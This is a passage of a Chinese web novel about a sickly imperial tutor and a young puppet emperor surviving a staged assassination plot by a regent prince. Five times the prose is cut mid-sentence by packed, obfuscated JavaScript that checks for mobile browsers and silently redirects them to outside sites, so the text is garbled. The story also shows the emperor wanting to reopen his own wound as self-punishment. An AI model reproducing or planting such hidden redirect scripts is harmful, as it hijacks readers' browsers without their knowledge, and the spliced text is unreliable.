“这个好处理,我给你箭,你拿这个捅他,我们再把他的尸体送到围场能打猎的林子去。回头有人发现了,只会以为是他自己跑去林子里,被狩猎的人当猎物射杀了。” “出了这种大意外,朝廷肯定不敢深查,更不会怀疑到你这个文弱书生身上。怎么样,我这样够讲道理了吧?我们真不想滥杀无辜,只想杀了狗皇帝报仇,你给我们一个把柄,那放过你也没什么。” 卫樾眼睛不眨地看着温催玉。 温催玉没看他,对刺客那边伸出手,语气冷静得两个刺客都惊讶:“给我箭。” 其中一个刺客抽了一支箭,走近递给了温催玉。 看着温催玉伸手接过箭,卫樾紧抿着唇,没说话。 温催玉抬眸对刺客说:“我体弱,手无缚鸡之力,这样用箭捅他,必定不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358772|168049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能一击致命。所以,我给他第一下,也算是满足你们想要的把柄了,你们来真要他的命,也能完成你们的复仇,不至于叫我抢了风头,如何?” 刺客的眼神更显惊愕。 不过,想到主子的吩咐是——如果离间失败,那就直接在这次杀了温太傅,防微杜渐。 但如果离间成功,那就让少帝和温太傅都活着。少帝这个傀儡皇帝当得很好,要是真死了主子也麻烦,温太傅活着则能让局面更有趣。 所以,这会儿温太傅对少帝下手,但又没能耐、也有可能是还是有点狠不下心真下死手——但反正下了手就算是板上钉钉离间成功了,不下死手也省了他们再想说辞防止少帝真死了,堪称圆满! 于是刺客仿佛很大度地一点头:“行。” 温催玉这才看向卫樾,拿着箭:“对不住了,陛下。” 卫樾没什么表情,也没什么反应,就好像是放弃垂死挣扎了一般,连多余的动作都没有,更遑论起身继续逃跑,他就定定地坐在方才摔倒的地方。 在卫樾和两个刺客的注视下,温催玉起身跪坐到卫樾身边,背对着两个刺客。 他右手执箭,左手按到了卫樾心口的位置,好像在借力支撑身体,也好像是在确定自己能刺准。 箭头刺下的时候,宽大的袖摆随之垂落,堆叠在了卫樾的心口,随着动作间温催玉的靠近,卫樾闻到了更加浓郁的白檀香。 温催玉背对着他们,两个刺客看到温催玉用力刺下箭头的动作,还有紧跟着卫樾皱眉、闷哼忍痛的反应,着实受了点惊吓,担心这温太傅狠心起来真把少帝给弄死了…… 两个刺客往前几步,看到温催玉从卫樾的心口拔出箭矢的动作。 温催玉的袖摆移开后,两个刺客又看到卫樾心口附近的血色,那血色都沾到温催玉还按在卫樾心口的左手袖摆上了! 两个刺客:“……” 这温太傅怎么直接往心口刺啊!太狠心了吧!你随便刺一下手脚不行吗! 两个刺客不约而同地想,少帝要是真死了,他们可承担不起后果,所以他们现在还是赶紧走,让少帝能尽早得到救治,别耽误时间了…… “狗皇帝!你既然这么在意这个太傅,连他要杀你都不躲,那我们想好了,你就这么干脆利落死了,你倒是痛快,我们兄弟俩可就难受了,倒不如也让你痛苦地活着!” “是啊,你这么敬重的太傅居然想要杀你,看你以后还怎么面对他!被人背叛的滋味,足够你这辈子都痛苦了!我们走!” 两个刺客就这么蹿上树身,在树林跳跃间,快速离开了。 等到周遭只剩风吹叶动的静谧,温催玉和卫樾才同时动了。 温催玉浑身一软,右手沾了血的箭落地,左手也从卫樾心口滑落,在卫樾身前的衣服上划出一道血痕。 卫樾连忙搂住要跌倒的温催玉。 他看着温催玉左手上被箭头刺出的血洞,只觉目眦欲裂,但又生怕声音太大吓到怀里的人,于是只能隐忍地轻唤:“温催玉……老师,老师您再忍忍,我带您回营帐找太医……” 方才捅在自己左手上那一下力道太重,温催玉忍到两个刺客离开,这会儿实在忍不住了,眼泪难以控制地往外滑落。 微凉的泪珠落到卫樾的手上,却几乎把他灼伤。 这无形的烧灼直入心底,让卫樾觉得心上都被烧出了个空落落的洞。 又因为失血,温催玉的脸色更加苍白,身上白檀香的味道更是让他仿佛即将返归菩萨身侧,看得卫樾心惊胆战。 温催玉咳喘了声,想用轻松点的语气安抚卫樾,他笑道:“陛下果然是‘金口玉言’,想听一声老师,臣这代价还挺大……” 18. 第 18 章 “老师想听,那我以后多喊。老师,您不要再称臣称您了,您不是说过吗,‘当其为师,则弗臣也’,学生之前太顽劣,以后都记住了……老师,我带您去找太医。” 卫樾把温催玉抱了起来,快步朝林外走。 温催玉想说,方才逃跑过程中被抱一抱,就当事急从权了,可现在还抱,显得有些怪,背着都正常点吧…… 但他身体和心理都刚经历了大起大落,现在实在是打不起精神,只能昏昏欲睡地靠在卫樾的胸膛前。 卫樾低头看着染血的温催玉,惶惶不安地喊:“老师,不要睡,再坚持一下,求你了!” “都怪我没用,不仅保护不了老师,连自保能力都没有,还要老师弄伤自己来赌……十年前救不了母妃,如今又把老师害成这样,我怎么能一点长进都没有……” 卫樾的语气实在太可怜,让温催玉都不忍心昏睡过去了,不然卫樾怕是要崩溃。 温催玉强打着精神提醒卫樾:“陛下,我只是伤了手,又有点累而已,不是致命伤,你放心吧,死不了的……陛下,你方才有没有怀疑过,我是真想杀了你换取苟活?” “我没有!”卫樾斩钉截铁地回答,又怕温催玉不信似的,重复强调道,“我真的没有怀疑过你,老师相信我。” “我虽然过于愚蠢,没能看出来你方才为什么会赌那两个刺客不会真的要我们的命,但我相信老师不会害我,所以我已经做好了演戏假死的打算,所以我才那么配合没有跑。我说过的,我如今信你,只信你。” “我方才若是怀疑了,就不会还那么老实地待在原地配合……可我没想到,你会借着错位和衣袍遮挡,居然扎的是你自己的手,还扎得那么用力……我当时差点就装不下去了,你吓到我了,老师。” 卫樾太过不安,以至于语速飞快。 温催玉笑了笑,轻声回说:“那两个刺客太过随便,毫无在皇家围场刺杀皇帝的紧迫,也不见报仇雪恨的急切和快意,更像是被安排来,硬是要有这么一场师出无名的刺杀。” “所以,反正跑不了,我就赌了一把……咳、咳咳……” “……我赌他们并不想要我们俩的命,但也不是刺杀着玩……咳咳,那两个刺客言语间一直在撺掇我从你身边叛变,我想这才是他们的主要目的。” 所以,温催玉迎合了刺客的话,假动作骗过刺客,让他们以为流出的血是他捅伤了卫樾心口的。 然后,他赌赢了。 果不其然,那两个刺客根本没想要人命,甚至有点担心卫樾失血过多、救治不及时会死似的,离开得格外匆忙。 卫樾咬牙切齿:“有人想要借这场刺杀,离间我们,想让你抛弃我,让我看到你会抛弃我……是赵曜!除了他之外,没人有这个心思和能耐……他欺人太甚!” 温催玉有气无力地说:“我也觉得是他。” 以庄王赵曜对朝政的把控、在朝中的威严,其他大臣即便有能耐,也不敢在秋猎围场这种场合,安排一场耍着玩似的刺杀。 而且,其他大臣没必要离间少帝和太傅。 “庄王倒也是看得起我,未雨绸缪到了这种地步……”温催玉说着,忍不住接着咳嗽起来。 他受伤的左手搭在自己腰腹处,血淌出来,把那一片的衣衫浸得满是骇人的红,看起来他仿佛腰腹受伤、血流成河。 卫樾眼睛红得要淌血泪:“老师,您别说话了,快休息吧。怪我,你都伤得这么严重了,我还要你说话,我错了,我怎么这么窝囊无能……” “不要这样说自己。”温催玉气若游丝地安抚,“陛下……阿樾,我以后私下里,这样叫你好吗?” “好,这样叫亲近,我也很喜欢,老师愿意怎么叫都好……”卫樾忙不迭回答。 温催玉勉力笑了一下:“阿樾,老师厉害吗?” 卫樾:“厉害。” 温催玉:“那你要相信老师的眼光,老师很喜欢你这个学生,你很好,不要说自己没用。” 卫樾抿了抿唇,眼中一酸:“嗯。” “这次只是我们疏忽大意了,没想到庄王竟然如此防范有人接近你,他大概只是怀疑我有投向你的苗头,就宁可特意设局防患未然。”温催玉慢条斯理,说一句停几息,慢慢喘着气,“……小瞧了敌人,警惕心也不够,觉得反正是在围场里,这边树林偏僻无人也不要紧,就这么单打独斗地过来了。” “对了,我们俩这样回去,庄王肯定会意识到,离间的计划并没有成功,受伤的也不是你……” 他们已经走出了树林。 卫樾脚步不停,肃声道:“那就让他发现,他还能当众再刺杀不成?老师,你说得对,我们以后要更警惕,我这不喜欢带侍从的习惯得看情况改改。但我不想跟你装不合…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358773|168049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连这都要装,我还不如不管不顾,找个赵曜来给我行礼的机会,直接一刀捅死他干脆。” 温催玉并未反对。 他脸色惨白,但语气仍然温和:“好,那就不装。横竖以庄王这戒心的程度,就算我们真的决裂,只怕他都不会相信,那倒不如坦荡些。反正与庄王相斗是注定的,风险与获益一体两面,兴许我们见招拆招着,反倒能收获不少。” 说完正事,温催玉彻底撑不住了,精力耗尽,昏睡了过去。 卫樾神色凝重,但没再一惊一乍。他抱稳了温催玉,大步往营帐回去。 毕竟是在围场里,虽然这会儿基本都去狩猎了,但营帐附近仍有侍卫把守。离开树林后没走多久,看起来鲜血淋漓的卫樾和温催玉就被人看到了。 …… 庄王的营帐里,方才在林中追杀卫樾和温催玉的两个蒙面黑衣人详实回禀完之后,退了出去。 庄王坐在桌边,转动着拇指上的扳指,片刻后才悠悠开口,似是感慨:“这温太傅能如此当机立断,倒是出乎了本王意料。” 影子一样、总是跟在庄王身侧的侍从回道:“不过陛下嫉恶如仇,遭了这般背叛,等回过神来,怕是殿下您好心给温太傅留的这条命,在陛下跟前也留不了多久了。” “听着倒是有些可惜,温太傅也是个芝兰玉树的人物,若是英年早逝,岂不是我大燕痛失一才俊?”庄王满脸似真地轻叹,“希望他能多活一段日子吧,而且陛下难得这么喜欢这次的太傅,下一个可不好找。” 这主仆俩有模有样地表达完彼此心知肚明的“慈悲”,还没多久,营帐外传来了匆忙急迫的禀报:“庄王殿下!陛下方才遇刺了……” 庄王起身:“那可得赶紧去看看。” 然而前往少帝营帐的路上,听来禀的侍卫首领仔细一说,庄王才知道卫樾并未受伤,反倒是温催玉一身血,还是被卫樾抱回来的。 “陛下直接把温太傅带到了陛下的营帐中,也已吩咐太医前去。陛下虽没有受伤,但毕竟是遇刺了,卑职不敢不来惊扰庄王殿下您。”侍卫首领道。 听完,庄王目光幽暗,面上故作的担忧变得有几分真实的严肃起来。 庄王的侍从也是愣了下,然后意识到——不论温太傅何时死,但反正方才那两个被安排去刺杀离间、不仅没能成功还沾沾自喜复命的同僚,大概是活不过今日了。 19. 第 19 章 庄王来到卫樾的营帐时,太医正在为昏迷的温催玉清理包扎左手的伤。 虽然不省人事,但温催玉受不住疼,手指下意识颤抖着,口中低低地溢出难忍的痛吟,眼角也沁出了泪珠,脸色惨白脆弱得仿佛正在受刑。 卫樾看得忧心如焚,偏偏又无法以身代之,也不敢冒冒失失自己上手,于是所有不满都无理取闹地冲向太医:“你到底会不会治伤!不知道动作轻点吗!他这都快疼醒了!” 压根没敢手重的太医:“……是,陛下,臣再小心些。” “听闻陛下遇刺,臣救驾未及,望陛下恕罪。”庄王走进营帐,一脸担忧,“不是说陛下并未受伤吗,怎么衣衫上也有血?温太傅伤势如何了?” 卫樾现在满心满眼都是温催玉,听到庄王这个始作俑者假惺惺的语气就厌恶,懒得搭理。 庄王便一脸和蔼地看向宫人蔡庆。 因为卫樾并没细说,所以蔡庆也只是揣测着知道大致情况,他低眉顺眼地回道:“万幸有温太傅救驾,陛下没有伤着,但温太傅手上伤得严重,血沾到了陛下衣衫上。” 太医大气都不敢喘地给温催玉包扎好了,才松了口气,起身行礼,说:“陛下,庄王殿下,温太傅的伤已经止血上药。因着伤口有些深,所以得养一段日子,但好在并未伤及筋骨,如今血也止住了,并无后患之忧。臣稍后再熬制些补血益气的药,待温太傅醒了之后可以服用。” 庄王神情放松了点:“那便好。对了,不知陛下是在何处遇刺,又是怎么逃脱的,那刺客是何去向啊?” 卫樾冷眼看向他,语气阴森:“在北边的树林里,那两个刺客疏忽大意,朕和温太傅才得以侥幸逃脱。庄王,你若是代朕压不住这天下,连一个围场的戍卫都做得如此无能,那不如早些还政罢。” 听到卫樾这毫不掩饰的话,太医和蔡庆冷汗直冒,巴不得自己聋了、并没有在这营帐里。 卢子白担心温催玉,也在营帐里。他离朝局远,反倒感觉不到战战兢兢,但知趣地晓得这时候不该引起注意,所以也和蔡庆他们一样,低眉顺眼老老实实地放轻呼吸。 庄王本人倒是没什么大反应,他被卫樾“口无遮拦”针对惯了,并不因此恼怒。 “陛下这般说,臣惶恐……”庄王一脸忠臣模样。 卫樾直接打断了他:“朕要那两个刺客的命,若是做不到,拿你自己的命填上也行。” 庄王拱手:“陛下放心,搜捕缉拿刺客,是臣应尽的本分。陛下……” “其他的话朕不想听,滚出去!”卫樾毫不留情道。 庄王放下手时攥紧了下,脸上倒还是没什么变化:“臣告退。” 出了营帐,走远之后,庄王冷声吩咐侍从:“把那两个蠢货的脑袋放到陛下营帐门口去。” 侍从不敢多言:“是!属下即刻去办……殿下,您何必容忍陛下对您如此造次……” 庄王平时乐意装得仁善大度,是因为所面临的人和事他都心里有数,而且除了色厉内荏的卫樾之外,其他人也都识趣配合他装。 这种情形下,偶尔被无能为力、只能发怒的卫樾挖苦嘲讽几句,庄王其实觉得还挺有猫看老鼠的乐趣在,并不觉得难以接受。 但方才,本以为顺利完成的刺杀离间居然失败了,庄王这么多年以来鲜少有的无法掌握的感觉冒了出来,他本就心情不佳。 又被少帝用一种“朕知道你是幕后主使”的态度,颐指气使地呼来喝去,终日打雁却被雁啄了眼,庄王此刻也懒得再在侍从面前装仁义道德的表象了。 “倒是本王小瞧了这温催玉,以为是防微杜渐的一场乐子,没想到离间不成反倒给他做了嫁裳,让陛下更信任他了。”庄王停下脚步,回头看向卫樾的营帐。 侍从揣度问:“是否需要再正经准备一次刺杀,直接要了这温太傅的命,省得他给您添麻烦?” 庄王冷笑:“他再聪慧,也是个没根没底的病秧子,能给陛下什么助力?一次不成,再来一次刺杀,让人知道了还以为本王老糊涂不知轻重了,多瞧得上他啊。且有了这次,他之后必定更加谨慎,若是第二次刺杀也叫他逃脱了,那本王真成笑话了,你们这些没用的东西。” 侍从连忙告罪:“属下鲁莽了。” 庄王回过头,继续往前走:“罢了,确实是本王太过纵容陛下,说到底根节还是在陛下身上……去祁国的人有消息了吗?” 被问起这个,侍从更加谨慎地回答:“还没有新的消息。” 庄王若有所思:“都去了三个月了,还没消息,大概是又找错了。” 侍从不敢接话了,怕一个字没说对,就和即将要死的那两个同僚一块儿丢命。 …… “老师的衣衫上沾了血,你去拿身干净的过来给老师换上。”卫樾吩咐卢子白。 卢子白连忙答应下来,一瘸一拐往外走。 太医也告退离开、说回去熬药,蔡庆忙不迭跟着退出了营帐,帐内只剩下昏迷不醒的温催玉和手足无措的卫樾。 卫樾想先给温催玉盖上被子,但温催玉腰腹处的衣衫被血浸湿了不少,卫樾刚掀过被子,又担心就这样给温催玉盖上,血衣贴在身上,他会更不舒服。 而且等卢子白回温催玉的营帐拿了干净衣裳来,又要掀开被子给换,一盖一掀的似乎也不好? 于是卫樾放下被子,在床边踱了几步,站定在床头,蹲下来看着温催玉的脸。 几息后,他屏气凝神、小心翼翼抬起手,用指腹蹭了蹭温催玉的眼角,轻轻擦去那里残留的泪珠。 然后他看着温催玉在睡梦中仍然微蹙的眉头,苍白的脸色、唇色,心想——老师很脆弱,身体不好,吃不了疼,也受不了气,这两种情况都会让老师掉眼泪。 但老师也很厉害,才学过人、果敢无畏还有七窍玲珑心,能在刺杀逃亡的时候敏锐发现刺客的异样并加以利用。 唯独的“缺点”就是性子太好…… 圣人心,菩萨面,对待之前那么混账 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15358774|168049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的他都能耐心十足。 “老师,我以后不混账了,再也不惹你哭了。”卫樾轻声呢喃,“也不会再让你受伤……我不要再像今日这样没用了。” 卫樾看向温催玉被包扎起来的左手,想了想,把自己的右手并列放了过去。 他右手上的伤已经掉痂得差不多了,只剩下还待时日恢复的淡淡疤痕。 卫樾看了看,有些想要把疤痕切开、让右手再度血肉模糊的冲动,这样和老师受伤的手放在一起,才比较像样。 而且他害老师受伤,也该受到惩罚才对…… 不过,他之前故意撕掉痂痕、让伤口再度渗血那次,气到老师了,老师肯定不乐意看他这样做……卫樾抿了下唇,有点遗憾地挪开手。 以后再找机会吧,他想。 “陛下,奴才把公子的衣裳拿过来了。”卢子白掀开门帘走了进来,怕惊扰了温催玉,所以声音不大。 在温催玉面前,没那么多规矩,所以卢子白一直是自称我的。 但他今日来到围场后观望了下,觉得陛下好像脾气不太好,也不太喜欢他,所以他还是小心着点吧。现在公子也还昏迷着,他要是一句话不对让陛下厌烦了,都不知道怎么求救…… 听到卢子白的声音,卫樾神色一冷。 一想到老师维护过这个瘸小子,卫樾就满心不爽。 不过……老师也说过,如果面临险境,会先救他,这个瘸小子不能和他比。 卫樾想起这个,才舒服了点,对卢子白说:“过来给老师换上。” 他也不想让这个瘸小子接近老师,但他又知道自己没伺候过人,现在老师人事不省经不起折腾,所以只好暂时委曲求全,容忍了这个小仆先帮老师更衣。 但出乎卫樾意料的是,他的忍辱负重居然没派上用场——因为卢子白抱着温催玉的衣裳,有些纠结,但还是说了实话。 “陛下,公子在家中都是自己更衣的,奴才没为公子换过衣裳。奴才力气大,经常控制不好力道,这会儿公子又昏迷着,手上还有伤,奴才怕动作生疏伤到公子,所以……可不可以唤其他宫人来,先帮公子换衣裳?” 卢子白越说越心虚,觉得自己好像在玩忽职守、推卸职责。 但他又是真担心自己笨手笨脚弄巧成拙,毕竟之前见公子咳嗽,他帮忙拍了下背,都把公子拍得躲开了…… 所以只好实话实说了,卢子白又接着弥补道:“奴才以后一定好好学会给公子更衣……” 卫樾蹙着眉头,心想老师就是太心善,所以才会让这个一无是处的小仆跟在身边。 “衣裳给朕,朕给老师换,你出去。”卫樾伸手。 他本以为这个小仆以前伺候过温催玉更衣,那这会儿再多一回也没什么区别,但没想到没有。既然如此,那卫樾就不想让卢子白、也包括其他人来碰温催玉。 他自己来,虽然也是生疏,但小心一点慢慢来,总不会出差池的,他又不是连衣裳怎么穿都不知道的蠢货。 20. 第 20 章 听到卫樾说他要亲自给温催玉更衣,卢子白愣了愣,然后衡量了下自己力气上的没轻没重,和卫樾脾气上的喜怒无常…… 虽然陛下看起来对公子挺好,但万一换衣裳的时候一时烦躁,直接把公子摔开了怎么办? 所以卢子白鼓起勇气说:“不敢让陛下动手,还是奴才来吧……” 卫樾皱眉:“老师平日里太纵着你,让你连吩咐都听不懂了?” 卢子白不敢说了,把温催玉的衣袍递过去,然后满脸纠结、一步三回头地退出了营帐,和蔡庆一人一边守在门口。 卫樾先理了理衣袍的顺序,从里到外摆放好,接着小心翼翼把人事不省的温催玉扶起来、靠在床栏上。 他又站在床边想前顾后了一番,觉得对要怎么给温催玉更衣心里有数了,才敢下手。 先脱下外袍,要小心一点,手重了万一弄疼老师就不好了,褪袖口的时候更是要小心别碰到了左手上的伤……然后解开染血的腰带,从外衣到里衣一层层敞开,又扶起温催玉、从身后褪下衣衫……最后把干净衣裳一层层穿回去,只留下外袍暂且不穿,免得睡着难受。 蹑手蹑脚给温催玉换好衣裳,抱他重新躺好,再把被子掖好,如此一番折腾下来,卫樾可算松了口气,脑门上全是汗。 他把温催玉染血的衣裳都放远了点,接着坐回床榻边,看着仍然昏睡的温催玉。 方才更衣过程中,卫樾全神贯注只怕弄伤弄疼了温催玉,无暇他顾。但这会儿安定下来了,卫樾突然想到……老师的腰身好细,太瘦了,身上好白,人如其名,似有冰肌玉骨。 卫樾养尊处优的手落在温催玉身上时,都觉得自惭形秽。 想了想,卫樾伸手,把温催玉没有受伤的右手握住了。 卫樾轻轻捏着温催玉的手,想起这纤细的手指之前为他上药的时候,总是像风过春水一般,不仅能安抚他的伤,还能抚平他的一切心浮气躁。 “老师……”卫樾趴到枕边,看着温催玉,等着他醒来。 但半个时辰过去,温催玉还没醒,反倒是面颊泛起了微红、被卫樾握着的右手也隐约烫了点。 卫樾陡然意识到不对,探了探温催玉的额头,然后匆匆起身走到营帐门口,对外面的蔡庆道:“叫太医!老师好像发烧了……这该死的太医,方才怎么医治的,耽误了老师的病情,就让他跟那两个刺客一起死!” 蔡庆战战兢兢跑去再传太医,顺道把这话告诉了太医,还在熬药的太医听得肝胆俱裂,一把胡子都要被这蛮不讲理的少帝给吓掉了。 到了营帐,太医连忙下跪行礼:“参见陛下,臣知罪,臣先前疏忽,忘了温太傅体弱,伤重失血后……” “废什么话,快给老师诊治!”卫樾没耐心道。 太医连忙起身,走到床榻前,仔细给温催玉探脉诊治,确定只是低烧之后,他松了口气。 但卫樾搞得声势浩大,太医也不敢显得是少帝小题大做,回禀得小心翼翼,最后说:“……臣这便回去给温太傅熬退热的药。” 卫樾往外一挥手,让太医赶紧去。 然后他坐到温催玉身边,给他掖了掖被子,自责道:“肯定是我方才给老师换衣裳时太拖拖拉拉,害老师受凉了……我还有太多要学的了。” 退热和补血益气的药同时送了过来,卫樾让放在旁边,等凉到能入口的时候,他亲自喂温催玉。 话虽如此,但卫樾对喂药这件事有些忐忑,担心温催玉昏迷着不会吞咽,万一不小心弄脏衣裳那不是又要换,又着凉了怎么办。 要不他先试试,不行的话还是让别的宫人来伺候老师喝药…… 但出乎卫樾意料的是,喂药的过程十分顺利。 他扶起温催玉的上身,将一勺苦涩的汤药喂到温催玉嘴边,没费什么力气,就见温催玉下意识启唇,本能地喝下了药。 卫樾见这么顺利,还以为温催玉是醒了,但喊了两声,他才意识到温催玉仍然昏迷着。 大抵是喝药成了习惯,所以在身体不舒服的情况下,知道自己需要吃药,下意识这么配合吧……卫樾满目心疼。 喂完了两碗药,卫樾想了想,觉得温催玉若是醒着,肯定觉得口苦,所以他又给温催玉喂了几口清水,再重新给温催玉掖好被子,让他好好休息。 卫樾则继续守在枕边,眼巴巴地等着温催玉睁眼。 …… 暮色苍茫之际,温催玉还没醒,帐外突然传进庄王身边那个侍从的声音。 “启禀陛下!两个刺客皆已伏诛,现遵庄王殿下吩咐,特把刺客尸身带来交由陛下检阅,陛下可要出来瞧瞧?” 这侍从声音格外洪亮,语气却有些随意,卫樾骤然蹙眉。 他看了看温催玉,见他并没有被吵醒,才松了口气,沉着脸起身,先拿上了摆放在营帐内充数的鞭子——毕竟是来狩猎的,虽然少帝连马都不会骑,但住的地方放点摆件,显得布置的人机灵。 卫樾撩开门帘,映入眼中的就是两具身着刺客黑衣、如今血肉模糊的尸首,横陈着直接摆在门口。 他要是走出来的步子大一点,都能直接踩到尸首上。 原本守在营帐门外两边的蔡庆和卢子白也没见过这阵仗,强撑着站在一边行礼:“陛下……” 卫樾看向庄王的侍从,大步跨过脚下的尸首,同时扬鞭甩到了侍从脸上。 鞭子来得突然,侍从没躲得开,脸上马上多出了一条血痕。 “仗着自己是条狗,就到朕面前吠……”卫樾语气阴戾,长鞭继续往侍从脸上招呼,“赵曜就是这么管束你的?” 虽然这会儿躲得开,但听到庄王名讳,侍从咬咬牙,没敢躲——至少目前为止,庄王在明面上还给这个少帝尊荣,他作为侍从,现在给少帝下马威似的作为,庄王不会在人前护着他。 看到庄王侍从被打,蔡庆低眉顺眼不敢多看,卢子白倒是艺高人胆大地附和卫樾的怒气。 “就是!高声喧叫,还把两个尸体放到门口,你这是冲撞圣驾!” 卫樾看了卢子白一眼。 卢子白吓得还以为卫樾不喜欢人附和,担心卫樾随手下一鞭子就朝他脸上来,不由得怂了怂,小声提起自家公子当靠山:“还、还有太傅仍在昏睡,没休 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15358775|168049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息好就被吵醒了怎么办……” 卫樾冷着脸,心想这个小瘸子也不算蠢笨到底……但这个小瘸子有什么资格操心老师的事? 卫樾不高兴,所以又给了庄王他侍从一鞭子。 …… 又半个时辰后,温催玉才醒过来。 帐中点了灯,但怕影响温催玉安睡,所以灯盏点得不多,显得周遭有些昏暗。 卫樾正目光一错不错地守在床榻前,温催玉刚有要醒的迹象,他就屏气凝神地提起了心。 看到温催玉睁开了眼,卫樾松了口气,小声喊:“老师……” 温催玉虽然醒了,但还是头晕目眩、胸闷气短得难受,他眼前模糊了小会儿,先听到了卫樾的声音,又隔了几息才觉得面前景象清楚起来。 卫樾正满脸担忧焦躁地看着他。 温催玉启唇,但喉间干涩,没能说出话来。 卫樾这个对待自己都从来不够仔细的棒槌,这会儿一眨不眨地候着温催玉,可算眼疾手快地反应过来,转身去桌边倒了一杯水,端到床前先放下了,又小心翼翼伸手扶起温催玉。 温催玉借力坐起来,发现自己受伤的左手已经被包扎好了,身上原本沾了血的衣服也都换了。 反倒是卫樾,他身前衣袍上沾了温催玉手上的血,挺显眼,但这会儿都还没换下来。 “老师,喝水。”卫樾坐到床榻边上,把瓷杯喂到温催玉嘴边。 温催玉觉得自己也没到喝水都要人喂的地步,抬起没受伤的右手自己拿住瓷杯,眼神示意卫樾可以松手了。 事实上,卫樾突然这么体贴,温催玉还有点不习惯。 卫樾只好有点遗憾地撤开手指,和温催玉纤长的手指擦过。 温催玉慢吞吞喝完了大半杯水,然后放下瓷杯,卫樾马上接了过去:“老师还喝吗?” 温催玉摇了摇头,又缓了缓,觉得嗓子舒服些了,才开口轻声问:“我昏了多久?” 卫樾也跟着放轻了声音:“快四个时辰了。” 不等温催玉继续问,卫樾便把他昏迷之后的事大体说了一遍,最后道:“……关于刺客,庄王给的说法是,在他们准备潜逃出围场的时候抓住了,刺客自称是死囚的亲眷,觉得朝廷判案不公,所以胆大包天潜进围场要刺杀皇帝。” “反正是敷衍搪塞的,不必在意。老师,你现在感觉如何,还是很不舒服吗?” 温催玉摇了摇头:“可能是昏睡太久,又没有进食,现在还有点晕,但还好,没有很难受。有吃的吗,清淡一点的?” 卫樾马上道:“有!方才晚膳时间,我叫他们把饭菜热着,等老师醒了之后马上能吃,我现在就去叫蔡庆传膳。” 走到门口,卫樾撩起门帘,对守在外面的蔡庆吩咐了传膳,便要放下门帘回温催玉身边。 “陛、陛下……公子醒了吗?奴才可以进去看看公子吗?”卢子白连忙大胆问道。 卫樾当没听见,继续放下帘子。 卢子白:“……” 陛下真的很不喜欢他啊……可是为什么呢?他今天才第一次在陛下面前出现啊! 21.第 21 章 卫樾回到温催玉身边,笑得乖顺:“老师,你手上有伤,待会儿我喂你吃饭,好不好?” 温催玉见他这卖乖的表情,笑了笑,抬起右手往卫樾头上轻轻一敲:“陛下,我右手好好的呢,能自己吃饭。” 卫樾抿了下唇,马上不高兴了:“你说过私下里不这样叫我的……” 温催玉怔了下,才想起来,失笑道:“好,阿樾。” 听到这亲近些的称呼,卫樾又有神采起来:“老师,你就让我喂你吧,你昏迷期间喝药都是我亲手喂的!对了,你待会儿还得喝药,等吃了饭,我就继续喂老师喝药,好不好?” 温催玉无奈:“我这会儿既然醒着,那喝药自然是一鼓作气喝完比较舒服,一口一口慢慢喂,药都那么苦,也太折腾自己了。” 话虽如此,但卫樾还是难掩失落。 温催玉便换了个话题:“对了,阿樾,你要不要先把身上沾了血的衣衫换下来?话说我的衣服是谁帮忙换的?” 闻言,卫樾的嘴角如同上山下山似的,又攀上了山顶,扬了起来:“我一个人亲自给老师换的!我忙着等老师醒过来,忘记换自己的衣衫了,这便换。” 卫樾说着起身,大步走到营帐内的衣箱跟前。 他身上沾的血不算很多,也没往里浸,所以换下外袍便好。 温催玉靠在床头,看着卫樾动作有些着急似的,很快换完外袍,又匆匆走回床边,双目紧紧盯着他,黏糊得要命。 让温催玉想起了他从前养过的一只小猫。 那是只出了车祸的流浪猫,温催玉看到了,就送去了附近的宠物医院,检查后得知猫大概有七八岁了。 它戒备心很强,非常不信任人类,醒了之后就想要跑,拖着骨折的腿对谁都龇牙。不过温催玉本也没打算养猫,所以不大在乎猫对人的态度。 